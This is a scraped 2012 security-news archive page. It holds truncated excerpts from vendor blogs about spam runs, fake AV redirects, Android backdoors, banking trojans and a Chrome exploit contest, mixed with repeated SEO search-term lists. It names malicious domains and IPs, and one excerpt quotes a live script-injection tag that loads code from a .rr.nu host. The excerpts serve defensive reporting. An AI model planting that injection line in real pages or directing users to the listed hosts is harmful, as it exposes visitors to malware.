2012 February | DataProtectionCenter.com: Tech and Security - Data Recovery and Protection, Internet, Technology, Security, Reviews, Softwares

Google offers $1 million in exploit rewards for Chrome hacks

VIA Naked Security - Sophos Leave a Comment

Google is offering cash prizes totaling $1 million to hackers, plus a Chromebook, for those who successfully exploit its Chrome browser at the CanSecWest security conference next week. According to a blog posting put up by the company’s security team on Monday, winnings from the so-called Pwnium contest will be meted out according to the following exploit severity: $60,000 - "Full Chrome exploit": Chrome/Win7 local OS user account persistence using only bugs in Chrome itself. $40,000- "Partial Chrome

Filed Under: Sophos Tagged With: Bugs, cash prizes, chris evans, consolation prizes, entire web, exploits, Firefox, Google, hackers, internet explorer, might make sense, os user, persistence, pwned, safari, schuh, security conference, security team, severity, sponsorship

BBB Spam / perikanzas.com and twistedtarts.net

VIA Dynamoo's Blog Leave a Comment

BBB spam.. you must know what it looks like by now. Here are a couple of new domains: perikanzas.com 41.64.21.71 (Dynamic ADSL, Egypt) 213.179.193.132 (Solidhost, Netherlands) twistedtarts.net 109.68.33.18 (Mesh Digital, UK)

Incoming search terms for the article:

perikanzas, perikanzas com, BBB M86 Security

Filed Under: Security Tagged With: bbb, Egypt, mesh, Netherlands, new domains

“Your Flight” spam / cparabnormapoopdsf.ru

VIA Dynamoo's Blog Leave a Comment

This spam comes with a malicious attachment pointing to a page on cparabnormapoopdsf.ru. Date: Tue, 27 Feb 2012 03:53:09 +0530 From: sales1@victimdomain.com Subject: Fwd: Your Flight N US787-8929269 Attachments: FLIGHT_TICKET_N3988-753843.htm Dear Customer, FLIGHT NUMBER 8333-452628141 DATE/TIME : MARCH 23, 2011, 16:15 PM ARRIVING AIRPORT: WASHINGTON DC INT. AIRPORT PRICE : 856.77 USD Your bought ticket is attached to the letter as a scan document (Internet Exlporer File). To

Incoming search terms for the article:

Your bought ticket is attached to the letter as a scan document (Internet Exlporer File) To use your ticket you should print it, data protector barelist, mail betreff your flight n, your flight n 51

Filed Under: Security Tagged With: bharti infotel, bulgaria, century telecom, document internet, flight number, flight ticket, malicious attachment, netia, optimate, payload, peru, sas, scan document, science and technology, server germany, steadfast networks, systems ltd, time march, washington dc

Fake AV: .ru sites used for redirections

VIA Zscaler Research Leave a Comment

This past month, I’ve seen an increase in hijacked sites redirecting to a Fake AV page. These attacks typically involves three separate phases: The hijacked website redirects users coming from a Google search to an external domain. A website redirects users to the Fake AV page or to a harmless site (mostly bing.com and google.com) depending upon the referer in step #1. This page adds a cookie using JavaScript, and reads it immediately, to make sure the

Incoming search terms for the article:

uaroyalysdaliachu ru industry index, daliachu uaroyalys ru industry index php, qimulta ru kaspersky, la page web sur uaroyalys-daliachu ru, google hijack ru, fake webcam ru, fake security sites, daliachuuaroyalys ru/, daliachu-uaroyalys ru virus, daliachu-uaroyalys ru, url hijacked by russian site

Filed Under: Security Tagged With: achat windows, code javascript, cookie support, Google, google search, industry index, Microsoft, microsoft word, popular searches, purchase microsoft, referer, ru, safe browsing, scanners, Source Code, step 1, surprise, ukresistance, url path

Strawberry Quick Meth Warning

VIA Facecroocks Leave a Comment

The following Facebook warning has gone viral the past few days:“ALL PARENTS PLEEEASE BE AWARE!! .There is a drug going around the schools .Its known as Strawberry Quick .or strawberry meth .it looks like pop rocks kids eat & also smells like strawberries & also comes in other flavors like chocolate ect . Pleeease tell your children not to take candy from anyone even a class mate

Incoming search terms for the article:

all parents please be aware!!there is a drug going around the schools its known as strawberry quick or strawberry meth, invitation facebook virus hoax olympic torch, research in strawberry quick, strawberry color research chemical, Strawberry quick 2012, strawberry quick media, strawberry quick research chemicals, strawberry quick twitter, warning about strawberry quick

Filed Under: Facebook Tagged With: class mate, color variations, crux, crystal meth, different colors, dregs of society, Facebook, flavored meth, flavoring substances, flavors, harsh chemicals, law enforcement agencies, manufacturing process, media outlets, misinformation, morality, pop rocks, strawberries, strawberry flavor, strawberry meth

Linsanity Leads to Targeted Malware Attacks

VIA TrendLabs Leave a Comment

When there are celebrity stories such as the death of Whitney Houston in the press, we expect to see BlackHat SEO attacks and other cybercriminal campaigns using these themes to distribute malware. However, a recent targeted attack against Tibetan activists caught our attention. The lure in this case was the story of Jeremy Lin, the NBA star whose outstanding play

Incoming search terms for the article:

tibet malware, cve 3333, cve-2010-3333 tibet, jeremy lin girlfriend attack, jeremy lin on tibet, malware attack tibetan 2012, malware Jeremy Lin LURID

Filed Under: Trendmicro Tagged With: address ip, Attackers, central asia, control server, eastern europe, enfal, former soviet union, government office, international attention, language settings, mac address, nba star, new york knicks, server host name, Target, tibet, tibetan activists, time magazine, trend micro, whitney houston

Tax Season=Tax Scams, Prepare Yourself

VIA Fortinet Security Blog Leave a Comment

It’s that time of year again. With less than two months to go before the April 15 tax deadline, scammers are in full swing, eager to separate taxpayers from their hard earned refunds. No doubt, scammers will pelt unsuspecting victims with a slew of social engineering ploys for bigger-than-expected or fast track refunds, official looking alerts warning users about tax complications, offers

Filed Under: Security Tagged With: bank account numbers, dirty dozen, e mail, electronic communication, free money, full swing, irs commissioner, irs logo, latest victim, no doubt, pin numbers, rising tide, Scammers, shulman, slew, social engineering, Spammed, tax deadline, tax scams, unsuspecting victims

IRS Spam / pollypeach.com

VIA Dynamoo's Blog Leave a Comment

Another IRS spam run leading to malware, this time on pollypeach.com. Date: Tue, 27 Feb 2012 17:02:45 +0600 From: “Ofelia Childers” Subject: IRS notification of your tax appeal status. Dear Accountant Officer, Hereby you are notified that your Income Tax Return Appeal id#0184348 has been REJECTED. If you believe the IRS did not properly assess your case due to a misinterpretation

Incoming search terms for the article:

irs notification of your tax appeal status, your income tax refund appeal spam how to prevent, irs rejection spam, irs notification of your tax appeal status spam, 18008294933 email spam, irs appeal spam, Income Tax Return Appeal id, income tax return appeal, ap2 php?f=, your tax appeal status virus

Filed Under: Security Tagged With: 163, accountant, case details, childers, hawaii, income tax return, internal revenue, ip, IRS, local time, malicious payload, misinterpretation, ofelia, pacific time, rejection, Spam, tax appeal, time alaska

Is it time to delete your old Tweets? Market researchers salivate at opening of Twitter Firehose

VIA Naked Security - Sophos Leave a Comment

Did you think Twitter was just for fun? That your tweets were just harmless irrelevant mutterings into the electronic ether? You’re wrong. You’re taking part in a massive market-research study. The news, which may surprise some, is that Twitter has found another way to monetise its service, having partnered with a firm

Incoming search terms for the article:

how to hide old tweets when job hunting

Filed Under: Sophos Tagged With: accessible archive, account settings, business customers, cold day, Facebook, firehose, market research firms, market research study, market researchers, massive market, mutterings, physical location, postings, sentiments, seven days, tweets, Twitter

What is the definition of cybercrime?

VIA F-Secure Antivirus Research Weblog Leave a Comment

Two weeks ago, the “Cybersecurity Act of 2012” was introduced in the U.S. Senate. The bill (S.2105) is designed to protect critical infrastructure such as water, energy, and transportation. It directs the U.S. Department of Homeland Security (DHS) to coordinate with network operators on developing security standards. A related bill, the “Cybersecurity Information Sharing Act of 2012” (S.2102) was introduced on February 13th. Naturally, civil liberties group such as the EFF and EPIC

Filed Under: F-Secure Tagged With: civil liberties group, civil liberties groups, cooperation act, council of europe, critical infrastructure, definition of crime, department of homeland security, developing security, elinor mills, faith defense, kirsten gillibrand, legislative archive, library of congress, s library, south africa and the united states, theinternational, u s department of homeland security, u s senate, water energy, york senator

NACHA Spam / cgunikqakklsdpfo.ru

VIA Dynamoo's Blog Leave a Comment

A terse version of the familiar NACHA fake spam, leading to malware: Date: Mon, 26 Feb 2012 12:16:40 +0530 From: accounting@victimdomain.com Subject: Fwd: ACH and Wire transfers disabled. Dear Online Account Operator, Your ACH transactions have been temporarily disabled. View details Best regards, Security department The payload is on cgunikqakklsdpfo.ru:8080/img/?promo=nacha which is multihomed (details below). It’s pretty easy to search

Incoming search terms for the article:

dear online account operator your ach transactions have been temporarily disabled, what is nacha?

Filed Under: Security Tagged With: account operator, ach transactions, bharti infotel, bulgaria, century telecom, connection attempts, hosts, ips, logs, NACHA, optimate, payload, proxad, sas, science and technology, server germany, steadfast networks, systems ltd, wire transfers

BBB and AICPA spam / 110hobart.com

VIA Dynamoo's Blog Leave a Comment

Two spam runs with essentially the same malicious payload.. Date: Mon, 26 Feb 2012 12:30:50 +0100 From: “BBB” Subject: BBB case ID 73773062 Attachments: betterbb_logo.jpg Attention: Owner/Manager Here with the Better Business Bureau notifies you that we have been sent a complaint (ID 73773062) from your customer in regard to their dealership with you. Please open the COMPLAINT

Incoming search terms for the article:

aicpa spam report, 41 64 21 71

Filed Under: Security Tagged With: adan, american institute of certified public accountants, bbb, better business bureau, cancellation, case id, certified public accountant, certified public accountants, complaint id, complaint report, income tax refund, infringement, institute of certified public accountants, revocation, subsection, tax return, time frame, wilson blvd

Android.Anzhu-new backdoor for Android devices

VIA Virus alerts Leave a Comment

The Russian anti-virus vendor Doctor Web warns Internet users of a new backdoor for Android. Android.Anzhu can implement a variety of directives received from a remote server, covertly install other applications and change browser bookmarks. Android.Anzhu is distributed from Chinese sites offering free software for Android. The backdoor is built into the legitimate program Screen Off And Lock, designed to lock the screen and turn off the mobile device

Filed Under: DrWeb Tagged With: /Launch, administrative privileges, anti virus, attributes, change browser, chinese sites, criminals, doctor web, imei, internet users, intruders, legitimate program, mobile device, mobile devices, new backdoor, power button, remote server, signature, slider, system privileges

Don’t shoot the messenger

VIA avast! blog Leave a Comment

Not everyone appreciates an avast! warning. Some IT professionals find it hard to believe that an infection has taken place on the computers and the networks under their supervision. “In today’s update you have included their website as being infected and harmful,” complained one web developer in an email to AVAST Software. “For the last month, it has been a

Incoming search terms for the article:

joomla blackhole exploit kit remove

Filed Under: Avast Tagged With: Avast, blackhole, cooperation, email, hosting company, Malware, network security, old versions, own computers, passwords, scanners, security suppliers, specifics, untrustworthy sources, virus lab, vulnerabilities, web developer, web media

How to delete your Google Web History before the new privacy policy takes effect

VIA Facecroocks Leave a Comment

By now, everyone has probably heard about Google’s privacy policy update that is to go into effect March 1, 2012. The long and short of the change is that Google may combine information collected from one service and share it with other Google products. (Gmail, Youtube, Search, Google+, etc.) Google wants to treat you as a single user across all their

Incoming search terms for the article:

how to stop kaspersky from recording web history, m86 google privacy march 1 2012, please erase gawker on google history

Filed Under: Facebook Tagged With: bad idea, browser history, consolidation, Convenience, Google, history check, hl en, intuitive experience, march 1, multiple products, privacy advocates, privacy policies, privacypolicy, search history, single user, user experience, wakeup call, web history, www google com

Malware Campaign from .rr.nu

VIA Sucuri Leave a Comment

No, they don’t quit, so get used to it! We are seeing quite a few websites being compromised with malware getting loaded from random domains in the .rr.nu TLD. This is what gets added to the footer of the hacked sites: <script src= "http://trill18ionsa.rr.nu/pmg.php?dr=1"></script> Once loaded, it does another level of redirection to http://ixeld52erlya.rr.nu/n.php?h=1&s=pmg (random domain, but using

Incoming search terms for the article:

194 28 114 103, pmg php, script injection rr nu, rr nu malware, rr nu injection, rr nu, php injection rr nu, hacked pages php rr nu, g rr nu malware, security rr nu domain

Filed Under: Security Tagged With: Backdoor, footer, lt, Malware, nui, parameters, pmg, rr

Android.Moghava: A Recipe for Mayhem

VIA Symantec Security Response Blog Leave a Comment

When you know that the goal of a piece of code is to ultimately result in monetary gain for the author, analysis becomes a lot easier; it is a matter of just putting the pieces together until you can figure out how the payload is translated into tangible value. But take away the monetary gain element and, even if you are able to find out what

Incoming search terms for the article:

android moghava kaspersky, f-secure moghava

Filed Under: Symantec Tagged With: apps, author analysis, ayatollah khomeini, cardboard, disinfection, exact impact, exile, farsi, intervals, jpg extension, Malware, memory card, minute detail, monetary gain, overtones, payload, political satire, Symantec, tangible value, tick

Playing Cops & Robbers with Banks & Browsers

VIA Symantec Security Response Blog Leave a Comment

We are currently tracking a banking Trojan called Trojan.Neloweg. Looking at early infection numbers, we noticed that a small number of users were compromised in the UK and the Netherlands. Digging into the threat, we saw that the login credentials of these users (including banking credentials) may have been stolen. A partial list of affected bank pages can be seen below. In order to see where

Incoming search terms for the article:

avast neloweg, neloweg kaspersky, neloweg trojan kaspersky, neloweg trojan and mcafee, neloweg mcafee, neloweg avast, mcaffee f-secure, firefox update neloweg, does avast protect against neloweg, avg neloweg, trojan neloweg trend micro

Filed Under: Symantec Tagged With: attacker, configuration file, custom javascript, div tag, file trojan, Firefox, gecko, giants, handful, internet explorer, login credentials, malicious server, Malware, popularity, safari browser, security through obscurity, trident, usage statistics, Zeus

The Pink Facebook rogue application and survey scam

VIA Naked Security - Sophos Leave a Comment

There’s just no pleasing Facebook users. They complain when Facebook decides to change the look of the social network (think, Timeline), and then they want to make pointless cosmetic changes of their own – such as changing Facebook from its traditional blue to a garish pink. That’s the lure being used by some Facebook scams actively spreading

Filed Under: Sophos Tagged With: apps, bad guys, color themes, colour scheme, cosmetic changes, different color, different colors, end result, facebook friends, launchpad, money, online survey, party application, pink, post messages, rogue application, Scammers, scams, spam messages, third party

Beatles for Sale? It’s spam of the day

VIA Naked Security - Sophos Leave a Comment

I’ve owned up to some of the great loves of my life in the past, here on Naked Security. For instance, I’m a life-long fan of Doctor Who, and I’m very partial to a game of chess (even during a denial-of-service attack). Today I can also share that I love The Beatles. In particular, anything from “Rubber Soul” and later when the “Yeah yeah yeah”

Incoming search terms for the article:

beatles cream, beatles for sale

Filed Under: Sophos Tagged With: abbey road, audience in mind, beatles, beatles cds, caramba, fanfare, game of chess, kerb, lennon mccartney, messrs, mini documentaries, mini documentary, musical genius, musicianship, nors, rubber soul, songwriting abilities, spam message, Spammers, video content

Incoming search terms for the article:

perikanzas, perikanzas com, BBB M86 Security

Incoming search terms for the article:

Your bought ticket is attached to the letter as a scan document (Internet Exlporer File) To use your ticket you should print it, data protector barelist, mail betreff your flight n, your flight n 51

Incoming search terms for the article:

uaroyalysdaliachu ru industry index, daliachu uaroyalys ru industry index php, qimulta ru kaspersky, la page web sur uaroyalys-daliachu ru, google hijack ru, fake webcam ru, fake security sites, daliachuuaroyalys ru/, daliachu-uaroyalys ru virus, daliachu-uaroyalys ru, url hijacked by russian site

Incoming search terms for the article:

Incoming search terms for the article:

tibet malware, cve 3333, cve-2010-3333 tibet, jeremy lin girlfriend attack, jeremy lin on tibet, malware attack tibetan 2012, malware Jeremy Lin LURID

Incoming search terms for the article:

Incoming search terms for the article:

Incoming search terms for the article:

dear online account operator your ach transactions have been temporarily disabled, what is nacha?

Incoming search terms for the article:

aicpa spam report, 41 64 21 71

Incoming search terms for the article:

Incoming search terms for the article:

how to stop kaspersky from recording web history, m86 google privacy march 1 2012, please erase gawker on google history

Incoming search terms for the article:

194 28 114 103, pmg php, script injection rr nu, rr nu malware, rr nu injection, rr nu, php injection rr nu, hacked pages php rr nu, g rr nu malware, security rr nu domain

Incoming search terms for the article:

android moghava kaspersky, f-secure moghava

Incoming search terms for the article:

avast neloweg, neloweg kaspersky, neloweg trojan kaspersky, neloweg trojan and mcafee, neloweg mcafee, neloweg avast, mcaffee f-secure, firefox update neloweg, does avast protect against neloweg, avg neloweg, trojan neloweg trend micro

Incoming search terms for the article:

beatles cream, beatles for sale

Top Stories

Archives

More Section

Site Navigation

Blogroll

Security